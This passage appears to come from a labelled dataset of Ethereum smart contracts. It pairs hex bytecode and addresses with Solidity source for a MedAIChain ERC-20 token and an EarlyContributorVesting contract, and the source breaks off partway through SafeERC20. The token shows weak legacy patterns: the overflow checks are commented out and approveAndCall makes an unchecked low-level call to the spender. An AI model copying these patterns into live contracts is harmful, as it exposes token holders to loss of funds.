206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6110b781600461238090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b6000600960009054906101000a900460ff16905090565b60006111af33846111aa85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b612156565b6001905092915050565b6111c23361137f565b611234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6000600660006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600b60009054906101000a900460ff16156112d057600080fd5b6112d933611b63565b61134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b611355838361245c565b6001905092915050565b61136933826124fd565b50565b600660009054906101000a900460ff1681565b600061139582600561253890919063ffffffff16565b806113a557506113a482610fce565b5b9050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113fd33610fce565b61146f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61153a8282612616565b5050565b600b60009054906101000a900460ff161561155857600080fd5b61156133611b63565b6115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b6060600d80548060200260200160405190810160405280929190818152602001828054801561167457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161162a575b5050505050905090565b6116873361137f565b6116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616c6c657220686173206e6f207065726d697373696f6e000000000000000081525060200191505060405180910390fd5b6001600660006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561183b5780601f106118105761010080835404028352916020019161183b565b820191906000526020600020905b81548152906001019060200180831161181e57829003601f168201915b5050505050905090565b61184e33610fce565b6118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6118d48160046126bd90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b61192333610fce565b611995576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6119a981600561238090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f4aea7d7b9f1c782799f10f55c8dd49fbe23c0824d22887043ec8cb631e9289e560405160405180910390a250565b6000611a8a3384611a8585600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b6001905092915050565b6000611aaf6001600d8054905061236090919063ffffffff16565b905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b4d57611b47838360006040519080825280601f01601f191660200182016040528015611b415781602001600182028038833980820191505090505b50611cbb565b50611b59565b611b578383612798565b505b6001905092915050565b6000611b7982600461253890919063ffffffff16565b80611b895750611b8882610fce565b5b9050919050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611bef33610fce565b611c61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b611c758160056126bd90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fc3957472ba41ba0725d850fd85857b6c5ea0070f71229e02b17fb370eb0abba760405160405180910390a250565b6000611cc78484610dd8565b611cd057600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611da9578082015181840152602081019050611d8e565b50505050905090810190601f168015611dd65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611df857600080fd5b505af1158015611e0c573d6000803e3d6000fd5b50505050600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611eab33610fce565b611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61208933610fce565b6120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ca57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080823b905060008111915050919050565b60008114612350576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561232257612321826127af565b5b600061233f82612331866113ac565b61236090919063ffffffff16565b141561234f5761234e83612874565b5b5b61235b838383612aa8565b505050565b60008282111561236f57600080fd5b600082840390508091505092915050565b61238a8282612538565b6123df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612fe26021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008082840190508381101561245257600080fd5b8091505092915050565b6d314dc6448d9338c15b0a0000000061248582612477610e2b565b61243d90919063ffffffff16565b111561249057600080fd5b600081141580156124e057506000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156124ef576124ee826127af565b5b6124f98282612ad2565b5050565b600061251a8261250c856113ac565b61236090919063ffffffff16565b141561252a5761252982612874565b5b6125348282612afa565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806130036022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61262082826124fd565b6126b982336126b484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b612156565b5050565b6126c78282612538565b1561273a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006127a53384846122c8565b6001905092915050565b600d8190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061282e6001600d8054905061236090919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6001600d805490501115612a3957600d61289d6001600d8054905061236090919063ffffffff16565b815481106128a757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061291e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c6000600d6129c56001600d8054905061236090919063ffffffff16565b815481106129cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a976001600d8054905061236090919063ffffffff16565b600d81612aa49190612f90565b5050565b600660009054906101000a900460ff1615612ac257600080fd5b612acd838383612b22565b505050565b600660009054906101000a900460ff1615612aec57600080fd5b612af68282612cec565b5050565b600660009054906101000a900460ff1615612b1457600080fd5b612b1e8282612e3e565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b5c57600080fd5b612bad816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c40816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d2657600080fd5b612d3b8160025461243d90919063ffffffff16565b600281905550612d92816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e7857600080fd5b612ec9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f208160025461236090919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b815481835581811115612fb757818360005260206000209182019101612fb69190612fbc565b5b505050565b612fde91905b80821115612fda576000816000905550600101612fc2565b5090565b9056fe526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a72305820f72bc9ad26052e779969e48bbde324972ea19346f0fcd9714900b1301acd30d064736f6c634300050a0032 | [
18
] |
0xf3341980ab56d946af028f725717668edbd09915 | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MedAIChain is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //token名称: MyFreeCoin
uint8 public decimals; //小数位
string public symbol; //标识
string public version = 'H0.1'; //版本号
function MedAIChain(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount; // 合约发布者的余额是发行数量
totalSupply = _initialAmount; // 发行量
name = _tokenName; // token名称
decimals = _decimalUnits; // token小数位
symbol = _tokenSymbol; // token标识
}
/* 批准然后调用接收合约 */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//调用你想要通知合约的 receiveApprovalcall 方法 ,这个方法是可以不需要包含在这个合约里的。
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//假设这么做是可以成功,不然应该调用vanilla approve。
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058203f6cb6a8e859d8dac5bbe2551a125f3c69b1ee2a0effb9749758882da885e81b0029 | [
38
] |
0xF33447eBCe6fDE0596955025B006BA779F061C79 | // SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract EarlyContributorVesting{
using SafeMath for uint;
using SafeERC20 for IERC20;
uint constant MIN_PERIOD = 2629743;
IERC20 private Punk;
bool private _initialize = false;
address private admin;
uint private _startTimestamp;
uint private _count;
uint private _released;
address private _to;
modifier OnlyAdmin(){
require( msg.sender == admin );
_;
}
constructor( ) payable {
Punk = IERC20( address( 0x558985b6eE1E4F5146060B1A2A56fd5c8FFb9C68 ) );
admin = msg.sender;
}
function setInfomation( address to_, uint count_ ) public OnlyAdmin {
require( !_initialize );
require( count_ > 0 );
_to = to_;
_startTimestamp = block.timestamp;
_count = count_;
_initialize = true;
}
function claim() public {
require( _initialize );
require( _startTimestamp <= _currentTimestamp());
uint ableAmount = claimable();
Punk.safeTransfer( _to, ableAmount );
_released += ableAmount;
}
function released() public view returns ( uint ){
return _released;
}
function totalBalance() public view returns ( uint ){
return Punk.balanceOf( address( this ) ).add( _released );
}
function to() public view returns ( address ){
return _to;
}
function claimable() public view returns( uint ){
if( _startTimestamp == 0 ) return 0;
if( Punk.balanceOf( address( this ) ) == 0 ) return 0;
uint count = _currentTimestamp().sub( _startTimestamp ).div( MIN_PERIOD );
if( count > _count ) count = _count;
return totalBalance().mul( count ).div( _count ).sub( _released );
}
function _currentTimestamp() private view returns( uint ){
return block.timestamp;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
